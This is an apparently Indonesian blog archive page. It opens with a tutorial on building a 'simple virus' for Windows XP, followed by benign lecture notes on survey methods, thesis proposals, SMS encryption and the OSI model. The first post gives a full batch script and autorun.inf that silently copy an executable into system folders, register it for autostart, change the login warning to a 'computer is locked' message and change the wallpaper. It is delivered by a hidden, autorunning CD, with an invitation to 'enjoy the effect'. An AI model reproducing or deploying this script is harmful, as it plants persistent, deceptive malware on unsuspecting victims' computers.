Selasa, 20 Oktober 2009

Cara Buat Virus Sederhana Dari Notepad

note: “HANYA BEKERJA PADA WINDOWS XP”


caranya:
- buka notepad lalu tulis(atau copy paste…tapi di edit dulu yaaa… ) script di bawah ini:

@echo off
copy image_name(terserah dari nama file gambar pembuat).bmp %systemdrive%\ /y
copy image_name(terserah dari nama file gambar pembuat).bmp %systemdrive%\WINDOWS\ /y
copy image_name(terserah dari nama file gambar pembuat).bmp %systemdrive%\WINDOWS\system32\ /y
copy nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe %systemdrive%\ /y
copy nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe %systemdrive%\WINDOWS\ /y
copy nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe %systemdrive%\WINDOWS\system32\ /y
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” /v LegalNoticeCaption /d “WARNING MESSAGE FROM LOCAL_HOST(judul title bar)” /f
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” /v LegalNoticeText /d “I HAVE RUINED YOUR COMPUTER AND YOUR COMPUTER IS LOCKED(pesan pembuat)” /f
reg add “HKEY_CURRENT_USER\Control Panel\Desktop” /v Wallpaper /d %systemdrive%\WINDOWS\system32\image_name(terserah dari nama file gambar pembuat).bmp /f
reg add “HKEY_CURRENT_USER\Control Panel\Desktop” /v WallpaperStyle /d 0 /f
reg add “HKEY_USERS\.DEFAULT\Control Panel\Desktop” /v Wallpaper /d %systemdrive%\WINDOWS\system32\image_name(terserah dari nama file gambar pembuat).bmp /f
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v nama_terserah /d %systemdrive%\windows\system32\nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe /f
reg add “HKEY_CURRENT_USER/Control Panel/Colors” /v window /d #000000(atau kombinasi warna RGB lain,cari pake Adobe Photoshop) /f



- lalu di SAVE AS ALL FILES dengan exstensi .bat (nama_file.bat)
- buat Autorun.inf dengan script:


[autorun]
open=nama_file.bat

- lalu SAVE AS ALL FILES dengan exstensi .inf (Autorun.inf)
- file-file tersebut harus dalam 1 direktori, lalu seleksi file-file tsb klik kanan PROPERTIES beri tanda check pada HIDDEN dan READ-ONLY
- copy file-file tsb ke CD
- nikmati efeknya


sumber :http://www.yogyafree.net/forum2/viewtopic.php?t=11281

Kamis, 01 Oktober 2009

Catatan Kuliah Teknik Survery


Teknik survey digunakan untuk:
a.       Untuk kelayakan
Study kelayakan PLTG, study kelayakan bendungan dan lain sebagainya.
b.      Untuk program
Evaluasi program, misalnya program KB bisa diperbaiki apa tidak, program telkom yang kini mengeluarkan produk baru yaitu speedy.

Metode atau teknik dalam survey ada 3 yaitu:
a.       Wawancara
       Wawancara merupakan suatu metode untuk mendapatkan data dengan cara mewawancarai langsung ke orang yang dipakai sampel penelitian. Sebelum terjun ke lapangan melakukan wawancara seharusnya kita menyusun pedoman wawancara seperti disebutkan di bawah ini.
1.      Topik wawancara : menentukan topik penelitian yang akan dipakai.
2.      Tujuan wawancara : menentukan tujuan yang dilakukannya penelitian.
3.      Indikator : faktor pembantu dalam melakukan wawancara.
4.      Pedoman wawancara : pengetahuan yang dimiliki dalam melakukan wawancara
5.      Skenario wawancara : penyusuan skenario dalam melakukan wawancara, baik melakukan pendekatan terhadap orang yang ingin diwawancarai dan penyusunan butir – butir pertanyaan.
b.      Angket
       Sebelum terjun ke lapangan melakukan menyebar angket seharusnya kita menyusun pedoman angket seperti disebutkan di bawah ini.
1.      Topik angket : menentukan topik penelitian yang akan dipakai.
2.      Tujuan angket :menentukan tujuan yang dilakukannya penelitian.
3.      Indikator: merupakan faktor pembantu dalam melakukan survey.
4.      Penyusunan butir angket
c.       Observasi
       Merupakan metode survey dengan melihat langsung ke lapangan untuk mendapatkan data yang sesuai dengan penelitian yang dilakukan.


Langkah-langkah Survey:
  1. Persiapan
1.      Penentuan Teknik
Menentukan teknik yang dipakai dalam melakukan survey.
2.      Pembuatan Instrumen
Pembuatan instrumen disini seperti topik, tujuan, indikator tujuan serta pedoman wawancara / butir angket.
3.      Penentuan Populasi
Populasi merupakan anggota masyarakat yang dikenai survey dan biasanya populasi tersbut berada dalam jumlah yang besar. Tetapi dalam melakukan survey tidaklah semuanya dikenai survey, tetapi hanya sebagian masyarakat yang dikenai survey, yang sering disebut sampel.
4.      Penentuan Sampel
1)      Dalam melakukan survey hanya sebagian masyarakat yang dikenai survey (sampel) hal ini dikarenakan oleh empat faktor yang sering disebut dengan ”AWAK” yaitu sebagai berikut.
a)      Keterbatasan Anggaran.
b)      Keterbatasan Waktu.
c)      Keterbatasa Alat.
d)      Keterbatasan Ketrampilan.
2)      Sampel harus mewakili populasi yang sering disebut dengan Representatif. Untuk mendapatkan sampel yang representatif kita bisa menentukan hal – hal sebagai berikut.
a)      Besar sampel harus memadai dan dapat didapatkan dengan rumus Cohran.
b)      Teknik pengambilan sampel harus tepat dan mengenai terhapad sasaran penelitian yang dilakukan. Ada beberapa teknik pengambilan sampel yaitu sebagai berikut.


i.         Teknik Random
         Teknik random merupakan sebuah teknik pengambilan sampel dengan cara mencari sampel yang dilakukan secara acak. Teknik ini dikatakan sebagai teknik yang terbaik karena dengan proses secara acak kita bisa mendapatkan data yang bervariasi.
ii. Teknik Purposive (sesuai dengan tujuan)
       Teknik purposive merupakan teknik pengambilan sampel dengan cara langsung mengambil sampel sesuai dengan tujuan penelitian. Misalnya untuk meneliti pemakaian internet maka dicari sampel mahasiswa informatika.
iii.      Teknik Insidentil
       Teknik insidentil merupakan teknik pengambilan sampel dengan memberikan angket secara insidental. Misalnya memberi angket suatu penelitian dengan cara datang langsung ke Hardys dan memberikannya kepada orang yang datang kesana. Teknik ini dikatakan teknik yang paling jelek karena data yang diharapkan bisa tidak sesuai.
iv.     Teknik Bertingkat
       Teknik bertingkat merupakan teknik pengambilan data dengan menggunakan tingkatan tertentu sebelum mendapatkan sampel yang diinginkan. Misalnya diambil tingkatan universitas – fakultas – jurusan – mahasiswa.
v. Teknik Sampel Bergolong
     Teknik pengambilan data dengan mengambil golongan – golongan untuk mendapatkan data yang diinginkan. Misalnya kita ingin survey tentang pendapat suatu masyarakat maka pertama harus disurvey berdasarkan golongan.
5.      Penentuan Petugas Lapangan
Menentukan siapa yang akan terjun ke lapangan melaksanakan survey, berapa jumlahnya dan dengan ketrampilan apa saja yang diperlukan.
  1. Pelaksanaan
Pelaksanaan disini meliputi mekanisme kerja di lapangan, yaitu menyusun mekanisme baik sehingga apa yang menjadi tujuan survey dapat tercapai.

Tambahan
a.       Polling adalah jajak pendapat atau pemilihan sesuatu dan biasanya dijawab dengan singkat.
b.      Survey yang melibatkan semua anggota populasi dinamakan SENSUS.


Penelitian Untuk Tugas Akhir
Struktur proposal penelitian
a.       Topik
Adapun syarat dari topik yaitu:
1.      singkat, jelas, tepat, tidak menimbulkan makna ganda atau keraguan,
2.      ada unsur kebaruan, baik original atau pengembangan,
3.      ada kegunaan secara teoritik ataupun praktek,
4.      uptodate (tidak kadaluarsa), dan
5.      bebas dari unsur plagiat (penjiplakan).
b.      Latar Belakang
Latar belakang memuat rasional atau dasar pemikiran yang mengarahkan bahwa penelitian yang direncanakan penting untuk dilakukan. Umumnya, lata  belakang dimulai dari kesenjangan antara harapan dan capaian, antara idealisme dan kenyataan di lapangan



c.       Rumusan Masalah
Rumusan masalah memuat masalah – masalah yang akan dicari solusinya melalui penelitian dengan berpedoman pada fenomena yang terjadi, seperti diuraikan dalam latar belakang.
d.      Batasan Masalah
Masalah penelitian perlu dibatasai agar pengkajian tidak melebar ke mana – mana yang dapat mengakibatkan pengkajian dangkal, kurang terarah, atau bahkan kurang konsisten.
e.       Tujuan Penelitian
Tujuan penelitian merupakan pernyataan berupa rumusan solusi yang ingin dicapai dalam penelitian. Umumnya, tujuan penelitian berpedoman kepada rumusan masalah yang telah dirumuskan sebelumnya.
f.        Manfaat Penelitian
Manfaat penelitian memuat uraian tentang manfaat atau kegunaan yang dapat terjadi setelah penelitian selesai dilakukan. Manfaat penelitian mestinya lebuh dirasakan oleh masyarakat pengguna.
g.       Kajian Pustaka
Kajian pustaka memuat paparan teori – teori oendukung yang diperlukan unutk mengkaji permasalahan penelitian. Teori dapat diambil dari buku, jurnal, majalah, koran atau internet. Penulis wajib menuliskan dari teori yang dikutip.
h.       Metode Penelitian
Metode penelitian memuat uraian tentang pendekatan pemecahan masalah dan teknik – teknik yang akan digunakan dalam mengimplementasikan hasil penelitian. Beberapa contohh pendekatan dan teknik dimaksud adalah sebagai berikut.
1.      Interative Design, Prototyping dan Waterfall untuk pendekatan.
2.      Data Flow Diagram, Context Diagrram, Activity Diagram, Database Design, Tweening Morphing untuk teknik.
i.         Daftar Pustaka
Daftar pustaka memuat daftar suber bahan pustaka yang digunakan untuk mendukung penelitian. Daftar pustaka hanya memuat sumber – sumber yang dikutip saja. Daftar pustaka diurut sesuai abjad. Berikut beberapa contoh penulisan daftar pustaka dari berbagai sumber.
1.      Buku
Budi Raharjo, 2007, Tuntunan Pemrograman Java Untuk Handphone, Informatika, Bandung
2.      Internet
Arif Irwansyah, 2004, Tutorial Merakit Komputer, http://www. Ilmukomputer.com
3.      Jurnal
Candiasa, I Made, Policy Analysis On the Improvement Of Education Quality, Paper,disajiakn pada Seminar Internasional “Succeeding in a Globalizing World” Tanggal 6-8 November 2007 di Jakarta
4.      Makalah
Koyan, I Wayan, Evaluasi Pembelajaran dalam Pendidikan Berbasis Kompetensi, Makalah, disajikan pada Konaspi V Tanggal 4-8 Oktober 2004 Di Surabaya
5.      Tesis / Disertasi
Dantes, Nyoman, Nilai Modern, Desertasi, Program Pascasarjana IKIP Jakarta, 1989

Tata Tulis
a.       Penyusunan Kalimat dan Alenia
Kalimat dalam proposal diupayakan berpola subyek, pridikat, obyek, dan keterangan (SPOK). Kalimat-kalimat di dalam alenia dibuat ringkas dan sederhana, sehingga makna yang terkandung didalamnya mudah dipahami oleh pembaca.
Satu alenia diupayakan terdiri dari satu kalimat pokok, disertai beberapa kalimat pendukung. Kalimat pokok dapat berada diawal, diatengah, diakhir alenia.
b.      Penggunaan Tanda Baca
Penggunaan tanda baca, seperti koma (,), titik(.), titik koma (;), tanda tanya (?), tanda seru (!), dan tanda baca lainnya sangat penting untuk diperhatikan. Kesalahan penggunaan atau penempatan tanda baca dapat merubah arti kalimat.  Berikut ini beberapa pedoman yang perlu diperhatikan untuk penempatan tanda baca.
1.      Tanda titik diakhiri untuk mengakhiri kalimat berita atau kalimat pernyataan. Apabila ditemukan titik, maka kalimat. Kalimat yang muncul berikutnya merupakan kalimat baru, sehingga diawali dengan huruf besar. Hal serupa terjadi untuk tanda tanda Tanya dan tanda seru. Kalimat tanya diakhiri dengan tanda Tanya. Kalimat perintah diakhiri dengan tanda seru.
2.      Tanda titik dua digunakan untuk membatasi anak kalimat dengan bagian-bagian yang akan disebutkan berikutnya. Bagian-bagian dari anak kalimat tersebut dipisahkan dengan koma dan bagian terakhir diakhiri dengan titik.  Apabila bagian-bagian dari anak kalimat memiliki bagian lagi yang dipisahkan dengan tanda koma, maka pemisah antara bagian yang besar menggunakan tanda baca titik koma.
c.       Penggunaan Huruf Besar, Kata Depan, Singkatan dan Efek Khusus pada Kata
Huruf besar digunakan untuk mengawali kalimat. Huruf besar dapat digunakan di tengah kalimat hanya untuk nama orang, nama kota, nama Negara, nama provinsi, nama kantor yang sejenis.
Kata depan ditulis terpisah dengan kata yang mengikutinya. Misalnya di awal, di depan,ke belakang, dan seterusnya. Di lain sisi,  awalan ditulis menyatu dengan kata yang menyertainya. Misalnya ketiga, dikerjakan, disebutkan, diterima, kesatuan, dan seterusnya.
Singkatan boleh digunakan setelah dituliskan kpanjangannya di bagian awal tulisan.
Efek khusus pada kata, seperti cetak miring atau cetak tebal dapat digunakan untuk beberapa hal khusus. Cetak miring digunakan untuk menuliskan istilah asing atau istilah local yang belum digunakan secara nasional. Contohnya:diagram use case, memory,CPU, dan seterusnya. Penulisan sedapat mungkin harus mengupayakan padanan kata dari istilah tersebut dalam Bahasa Indonesia yang ditulis di dalam kurung. Misalnya: user (pemakai), data maining (penambahan data) dan seterusnya. Cetak tebal digunakan untuk kata yang mndapat penekanan.
Kata maka merupakan satu kesatuan dengan kata jika, apabila, kalau, atau bila. Artinya kata maka tidak boleh muncul kalau tidak ada kata jika, apabila,bila, atau kalau.
d.      Huruf Standar
Huruf yang dinyatakan standar untuk penulisan karya ilmiah adalah jenis huruf Times New Roman dengan ukuran huruf 12.
e.       Penamaan Tabel, Diagram, dan Gambar 
      Nama tabel dituliskan dengan huruf besar. Nama tabel ditempatkan di atas tabel.
(mandrakkae@gmail.com)


Proposal Tugas Akhir

IMPLEMENTASI ALGORITMA MODERN
MODE CHIPER BLOCK CHAINING (CBC)
UNTUK ENKRIPSI SMS PADA TELEPON SELULAR



Oleh:
I Putu Indra Winaya, NIM. 0605021011
JURUSAN MANAJEMEN INFORMATIKA



ABSTRAK

Pada tugas akhir ini dibangun suatu perangkat lunak yang dapat berguna untuk meningkatkan keamanan pesan yang terjadi pada komunikasi melalui SMS. SMS merupakan suatu layanan yang diberikan oleh telepon selular kepada penggunanya untuk melakukan komunikasi melalui pengiriman pesan singkat dengan biaya yang murah. SMS sangatlah populer, selain dikarenakan biayanya yang murah, pesan yang dikirimkan dapat diterima oleh penerima dengan baik dan cepat. Namun komunikasi melalui media SMS ini bukanlah komunikasi point-to-point, pesan yang dikirimkan melalui media SMS tidak langsung sampai pada tujuan, melainkan melalui jaringan SMS. Pada jaringan SMS tersebut, keamanan pesan sangatlah terancam untuk dibaca oleh orang yang tidak bertanggung jawab. Perangkat lunak yang dibangun meningkatkan keamanan pesan dengan melakukan enkripsi terhadap pesan yang dikirimkan. Perangkat lunak yang dibangun menggunakan algoritma CBC untuk enkripsi SMS agar keamanan pesan dapat ditingkatkan. Algoritma CBC adalah sebuah algoritma yang membuat ketergantungan antar blok, dimana dalam blok-blok plaintext yang sama tidak akan menghasilkan chipertext yang sama, maka untuk memecahkannya menjadi lebih sulit. Perangkat lunak yang dibangun menggunakan teknologi J2ME yang dapat ditanamkan pada telepon selular.


Kata-kata kunci : SMS, chiper block chaining, CBC, enkripsi, dekripsi, J2ME

MODEL OSI

Model OSI - Mengirim pesan dari satu jaringan ke jaringan yang lain merupakan proses yang sangat kompleks. Emangnya kayak ngirim surat cinta kayak jadul getu …enggak lah…yach mirip dikit lah … Sedikit cerita terbentuknya OSI, pada tahun 1977 suatu subcommittee dari International Organization for Standarddization (ISO) mulai bekerja untuk membuat beberapa set standard untuk memfasilitasi komunikasi jaringan. Pekerjaan ini selesai pada tahun 1984 dan dikenal sebagai model referensi OSI - Open System Interconnection. Model OSI ini merupakan metoda yang paling luas digunakan untuk menjelaskan komunikasi jaringan. Seksi berikut mencakup topic-topik:

Model OSI membagi tugas-tugas jaringan kedalam 7 layer.
Model OSI

Model OSI

1. Layer 7: Application Layer

2. Layer 6: Presentation Layer

3. Layer 5: Session Layer

4. Layer 4: Transport layer

5. Layer 3: Network layer

6. Layer 2: Data link layer

7. Layer 1: Physical layer

Physical layer merupakan layer pertama, akan tetapi biasa di list pada urutan terakhir dibagian bawah untuk menekankan bagaimana suatu pesan di kirim melalui jaringan. Berikut penjelasan singkat mengenai masing-2 layer OSI dan gue coba analogikan dengan konsep sederhana dari kehidupan kita.

Layer 7: Layer Application

Layer 7 dari model OSI mendifinisikan interface antara software-2 yang berkomunikasi aplikasi yang mmerlukan untuk berkomunikasi keluar dari komputer dimana aplikasi tersebut berada. Layer Application OSI menjelaskan aturan-2 untuk yang berikut:

1. Penyediaan network services

2. Penawaran - pengiklanan network services

3. Pengaksesan network services

Contoh berikut adalah protocol-2 yang mengimplementasikan aturan layer Application.

1. Netware’s services advertising protocol (SAP)

2. TCP/IP Network File System (NFS)

3. TCP/IP Simple Mail Transfer Protocol (SMTP); Telnet; HTTP; FTP; WWW browser

4. Termasuk dalam contoh ini adalah file; print; applikasi database; message.

Layer 6: Layer Presentation

Layer 6 dalam model OSI ini (Session layer) tujuan utamanya adalah mendefinisikan format data seperti text ASCII, text EBCDIC, binary, BCD dan juga jpeg. Enkripsi juga didefinisikan dalam layer 6 ini. Layer OSI Presentation menspesifikasikan aturan-2 untuk yang berikut:

1. Penterjemahan Data

2. Enkripsi dan kompresi data

Protocol-2 berikut adalah contoh yang mengimplementasikan aturan layer Presentation

1. Netware Core Protocol (NCP)

2. AppleTalk Filing Protocol (AFP)

3. JPEG; ASCII; EBCDIC; TIFF; GIF; PICT; encryption; MPEG; MIDI

Misal mainframe mempunyai format EBCDIC; sementara WIndows mempunyai format data ASCII. Tugas layer Presentation adalah menterjemahkan format yang berbeda ini sehingga bisa saling nyambung.

Layer 5: Layer Session

Session layer dari model OSI ini mendefinisikan bagaimana memulai, mengontrol, dan mengakhiri suatu percakapan (disebut session). Hal ini termasuk dalam kendali dan manajemen dari berbagai pesan bidirectional sehingga aplikasi bisa di notifikasi jika beberapa message telah lengkap. Layer OSI ke lima Session menspesifikasikan aturan-2 berikut:

1. Pengendalian sesi komunikasi antara dua piranti

2. Membuat; mengelola; dan melepas koneksi

Yang berikut adalah protocol yang menimplementasikan layer session model OSI:

1. Netware’s Servise Advertising Protocol (SAP)

2. TCP/IP remote procedure call (RPC)

3. SQL; NFS; NetBIOS names; AppleTalk ASP; DECnet SCP

Contoh sederhana analoginya adalah operator telpon. Jika anda mau menelpon suatu nomor sementara anda tidak tahu nomornya, maka anda bisa nanya ke operator. Layer session ini analoginya yach kayak operator telpon getu.

Layer 4: layer Transport

Layer 4 dari model OSI focus pada issue yang berhubungan pengiriman data kepada komputer lain seperti error recovery, segmentasi dari blok data dari aplikasi yang besar kedalam potongan kecil-2 untuk di kirim, dan pada sisi komputer penerima potongan-2 tersebut disusun kembali.

Layer OSI ke 4 ini menspesifikasikan aturan-2 untuk yang berikut:

1. Menyembunyikan struktur jaringan dari layer diatasnya

2. Pemberitahuan kalau data pesan telah diterima

3. Menjamin kehandalan, pengiriman pesan bebas error

Contoh-2 berikut adalah protocol-2 yg mengimplementasikan aturan layer transport

1. Netware’s Sequence Packet Exchange (SPX) protocol

2. TCP/IP’s Transmision Control Protocol (TCP)

3. TCP/IP’s Domain Name System (DNS)

Analogi dari layer transport ini kayak penyedia jasa pengiriman paket, missal Tiki atau Fedex. Tiki atau Fedex bertanggung jawab penuh untuk sampainya paket ke alamat tujuan dan paket dalam keadaan utuh tanpa cacat. Seperti juga ISP, kalau kita ketikkan WWW.dotkom.com maka ISP akan menterjemahkan kedalam address tujuan.

Layer ke 3: Layer Network

Layer Network dari model OSI ini mendefinisikan pengiriman paket dari ujung-ke-ujung. Untuk melengkapi pekerjaan ini, Network layer mendefinisikan logical address sehingga setiap titik ujung bisa diidentifikasi. Layer ini juga mendefinisikan bagaimana routing bekerja dan bagaimana route dipelajari sehingga semua paket bisa dikirim.

Layer OSI Network menspesifikasikan aturan-2 untuk yang berikut:

1. Data routing antar banyak jaringan

2. Frakmentasi dan membentuk ulang data

3. Identifikasi segmen kabel jaringan

Protocol-2 berikut menerapkan aturan layer Network

1. Netware’s Internetwork Packet Exchange (IPX) Protocol

2. TCP/IP’s Internet Protocol (IP); AppleTalk DDP

Analogi dari layer ini tugasnya mengirim surat atau paket ke kota atau kode pos tertentu, tidak langsung di kirim ke alamat tujuan. Layer ini sangat penting dalam jaringan yang kompleks, dimana layer Network mengirim data paket ke jaringan logical. Router berfungsi pada layer ini.

Layer ke 2: Data link layer

Layer Data link OSI menspesifikasikan aturan berikut:

1. Koordinasi bits kedalam kelompok-2 logical dari suatu informasi

2. Deteksi dan terkadang koreksi error

3. Mengendalikan aliran data

4. Identifikasi piranti jaringan

Protocol-2 berikut mengimplementasikan Data link layer:

1. Ntware’s Link Support layer (LSL)

2. Asynchronouse Transfer Mode (ATM)

3. IEEE 802.3/802.2, HDLC, Frame Relay, PPP, FDDI, IEEE 802.5/802.2

Analogi data link ini seperti surat tercatat yang dikirm pada alamat rumah dan dijamin sampai dengan adanya resi yang ditandatangani penerima. Layer ini mengidentifikasi address yang sesungguhnya dari suatu piranti.

Layer ke 1: Layer Physical

Layer Physical dari model OSI ini berhubungan dengan karakteristik dari media transmisi. Contoh-2 spesifikasi dari konektor, pin, pemakaian pin, arus listrik, encoding dan modulasi cahaya. Biasanya dalam menyelesaikan semua detail dari layer Physical ini melibatkan banyak spesifikasi. Layer ini menspesifikasikan aturan-2 berikut:

1. Struktur fisik suatu jaringan missal bentuk konektor dan aturan pin pada konektor kabel RJ-45. Ethernet dan standard 802.3 mendefinisikan pemakaian dari kabel pin ke 1,2,3 dan 6 yang dipakai dalam kabel Cat 5 dengan konektor Rj-45 untuk koneksi Ethernet.

2. Aturan mekanis dan elektris dalam pemakaian medium transmisi

3. Protocol Ethernet seperti IBM Token ring; AppleTalk

4. Fiber Distributed Data Interface (FDDI) EIA / TIA-232; V.35, EIA/TIA-449, RJ-45, Ethernet, 802.3, 802.5, B8ZS

5. Sinkronisasi sinyal-2 elektrik melalui jaringan

6. Encoding data secara electronic

Untuk memudahkan anda mengingat model OSI ini gunakan kalimat berikut:

Aku (Application)

Punya (Presentation)

Susu (Session)

Telor (Transport)

MiNum (Network)

Dalam (Data)

Plastik (Physical)

Weleh kok malah gak nyambung …dah dech pake boso kromo aja biar gampang ngingetnye:

All People Seems To Need Data Processing, yang mappingnya kayak gini:

All (Application)

People (Presentation)

Seems (Session)

To (Transport)

Need (Network)

Data (Data link)

Processing (Physical)

Implementasi Protocol

Perlu diingat bahwa model OSI hanyalah sebuah teori tentang cara melihat komunikasi dalam jaringan. Setiap layer menspesifikasikan standard untuk diikuti saat mengimplementsikan suatu jaringan. Akan tetapi perlu diingat bahwa layer-layer OSI tidak melakukan tuhas-tugas yang real, OSI hanyalah model. Bahasan berikut meringkas keuntungan dan kerugian dari penggunaan model OSI dalam mendeskripsikan komunikasi jaringan.

Keuntungan dan kerugian model OSI

Anda mesti faham betul dengan model OSI ini karena model OSI ini sangat luas digunakan jika bicara soal komunikasi jaringan. Akan tetapi perlu diingat bahwa ini hanyalah sebuah model teori yang mendefinisikan standards bagi programmer dan system administrator jaringan, jadi bukanlah model layer fisik yang sesungguhnya.

Menggunakan model OSI dalam diskusi konseps jaringan mempunyai beberapa keuntungan:

1. Memberikan bahasa dan referensi yang sama antar sesame professional jaringan

2. Membagi tugas-2 jaringan ke dalam layer-2 logis demi kemudahan dalam pemahaman

3. Memberikan keleluasaan fitur-2 khusus pada level-2 yang berbeda

4. Memudahkan dalam troubleshooting

5. Mendorong standard interoperability antar jaringan dan piranti

6. Memberikan modularity dalam fitur-2 jaringan (developer dapat mengubah fitur-2 tanpa mengubah dengan cara pendekatan keseluruhan), jadi bisa main comot antar modul getu lho

Akan tetapi anda perlu mengetahui beberapa batasan dari model OSI ini:

1. Layer-2 OSI adalah teoritis dan tidak melakukan fungsi-2 yang sesungguhnya

2. Dalam implementasi industry jarang sekali mempunyai hubungan layer-ke-layer dengan model OSI

3. Protocol-2 yang berbeda dalam stack model OSI melakukan fungsi-2 yang berbeda yang membantu menerima dan mengirim data pesan secara keseluruhan

4. Implementasi suatu protocol tertentu bisa tidak mewakili setiap layer OSI (atau bisa tersebar di beberapa layer)

Dalam prakteknya, tugas-2 komunikasi jaringan dilaksanakan dengan cara implementasi protocol. Apa sich protocol itu …nich protocol itu kayak standard imdustri piranti software khusus vendor yang dipakai dalam proses komunikasi dalam tugas-2 nya melakukan komunikasi jaringan. Berikut ini menjelaskan beberapa konsep penting untuk diketahui mengenai protocol-2 yang sebenarnya.

Kebanyakan vendor dan implementasi standard industry menggunakan suatu pendekatan layer-2. Suatu kumpulan dari standard-2 yang dimaksudkan untuk digunakan secara bersamaan disebut suatu protocol suite atau protocol stack.

Protocol-2 dalam suatu suite mempunyai cirri-2 berikut:

1. Setiap protocol melaksanakan satu atau beberapa tugas komunikasi jaringan

2. Protocol-2 dapat melaksanakan tugas-2 dalam beberapa layer OSI yang berbeda

3. Beberapa protocol dalam suatu suite yang sama dapat melaksanakan tugas yang sama

4. Beberapa protocol suite membolehkan suatu pilihan dari protocol khusus dalam suite untuk melaksanakan suatu tugas khusus atau meng-enable fitur tertentu.

5. Protocol-2 harus bekerja-sama, mengirim dan mnerima data kepada protocol-2 yang lain.

Protocol-2 dapat juga dibagi kedalam satu dari tiga katagori menurut fungsi-2 yang mereka lakukan. Pembagian antar protocol sering jatuh pada tiga macam divisi.

1. Services

2. Transportasi data

3. Koneksi phisik

Protocol Jaringan

Protocol pada level application bekerja pada layer bagian atas dari model OSI, yaitu: Application; Presentation; Session. Protocol-2 ini melakukan pertukaran data dan komunikasi applikasi-to-applikasi.
Model OSI - Network Protocol

Model OSI - Network Protocol

Protocol-2 pada level transport (yaitu transport dan network layer) menjalin sesi komunikasi antar komputer; menjamin bahwa data ditransmisikan dengan handal; dan menghadirkan routing antar jaringan.

Protocol-2 pada level physical membentuk hubungan dengan layer bagian bawah dari model OSI (Data link dan Physical layer). Protocol-2 ini menangani informasi; melakukan error-checking; dan mengirim permintaan kirim ulang - (retransmit request).

Catatan:

Beberapa protocol berada pada lebih dari satu level protocol, sehingga protocol-2 bisa jadi tidak klop secara tepat dengan model-2 jaringan. Hal ini dikarenakan suatu protocol dimaksudkan untuk memenuhi suatu tugas tertentu dalam komunikasi, yang mana tidak selalu berhubungan dengan suatu bentuk model.

Komunikasi antar piranti jaringan

Piranti-2 jaringan bisa berkomunikasi antar sesama dikarenakan bahwa piranti-2 tersebut menjalankan protocol stack yang sama, walaupun mereka menggunakan system operasi yang berbeda. Data yang dikirim dari satu piranti berjalan turun ke protocol stack dibawahnya melalui media transmisi, dan kemudian naik ke protocol stack pada sisi piranti lawan komunikasinya.

Kedua belah piranti yang saling berkomunikasi harus menggunakan protocol stack yang sama. Suatu pesan data yang dikirim dari satu piranti ke piranti yang lain berjalan melalui proses seperti berikut:

1. Pesan data dipecah kedalam paket-2

2. Setiap protocol didalam stack menambahkan informasi control kedalam paket, meng-enable fitur-2 seperti inkripsi dan error check. Setiap paket biasanya mempunyai komponen berikut: Header , Data , dan Trailer.

3. Pada layer physical, paket-paket dikonversikan kedalam format electrical yang tepat untuk ditransmisikan.

4. Protocol pada masing-2 layer yang berhubungan pada sisi piranti lawannya (pada sisi penerima) akan menghapus header dan trailer yang ditambahkan saat pengiriman. Paket-2 tersebut kemudian disusun kembali seperti data aslinya.

Catatan:

Informasi header dan trailer yang ditambahkan pada masing-2 layer OSI dimaksudkan untuk bisa dibaca oleh komputer penerima. Missal, informasi yang ditambahkan pada layer transport pada sisi komputer pengirim akan diterjemahkan oleh layer transport juga pada sisi komputer penerima. Makanya interaksi komunikasi layer OSI ini sering dijelaskan sebagai komunikasi antar peer layer.

Header - Header paket mengandung informasi berikut:

1. Address asal dari komputer pengirim

2. Address tujuan dari pesan yang dikirim

3. Informasi untuk mensinkronkan clock

Data - Setiap paket mengandung data yang merupakan:

1. Data real dari aplikasi, seperti bagian dari file yang dikirim

2. Ukuran data bisa sekitaran 48 bytes sampai 4 kilobytes

Trailer - Trailer paket bisa meliputi:

1. Informasi error-checking

2. Informasi control yang lain yang membantu pengiriman data

Process Encapsulation

Adalah process pemecahan suatu pesan kedalam paket-2, penambahan control dan informasi lainnya, dan kemudian mentransmisikan pesan tersebut melalui media transmisi. Anda harus faham betul proses pengiriman pesan ini.

Ada 5 macam step pada proses data encapsulation:
OSI Model - Proses Encapsulation

OSI Model - Proses Encapsulation

1. Layer bagian atas menyiapkan data yang akan dikirim melalui jaringan

2. Layer transport memecah data kedalam potongan-2 yang disebut segmen, menambah informasi urutan dan juga informasi control.

3. Layer network mengkonversikan segmen kedalam paket-2, menambah logical jaringan, dan menambah address piranti.

4. Layer Data link mengkonversikan paket-2 kedalam frame-2, menambahkan informasi address phisik dari piranti.

5. Layer physical mengkonversikan frame-2 kedalam bit-2 untuk ditransmisikan melalui media transmisi.

Gunakan ringkasan berikut:

1. Layer bagian atas - Data

2. Layer Transport - Segment

3. Layer Network - paket yang mengandung address logical

4. Layer Data link - frame yang mengandung address physical

5. Layer Physical - bits

Contoh Aplikasi Komunikasi Data


  1. Aplikasi komunikasi data yang Off-Line
    1. Aplikasi Sistem Informasi Administrasi Kependudukan (SIAK)
Sistem ini merupakan sebuah contoh aplikasi komunikasi data yang Off-Line. Sistem ini mengolah data kependudukan di tingkat kabupaten kemudian dilakukan export ke dalam bentuk data Excel, selanjutnya dikirim ke provinsi menggunakan fasilitas internet (e-mail), dan selanjutnya data excel yang diterima dari kabupaten tersebut diolah kembali di provinsi sebelum dikirim lagi ke pusat. Berikut bagan komunikasi datanya:

  1. Aplikasi komunikasi data yang On-Line
    1. Aplikasi Sistem Informasi Akuntansi (SIA)
Sistem Informasi Akuntansi (SIA) ini merupakan sebuah contoh aplikasi komunikasi data yang On-Line (Batch Processing) dimana sistem ini mengolah data yang cukup besar dan tidak memerlukan akses langsung dari waktu ke waktu melainkan dalam tingkat periode. Misalnya laporan yang dibutuhkan dalam periode mingguan, bulanan, triwulan dan sebagainya. Sebagai contoh jika laporan dibutuhkan untuk tingkat bulanan, maka data-data akan dikumpulkan terlebih dahulu untuk satu bulan, kemudian baru diolah untuk mendapatkan laporan yang diinginkan

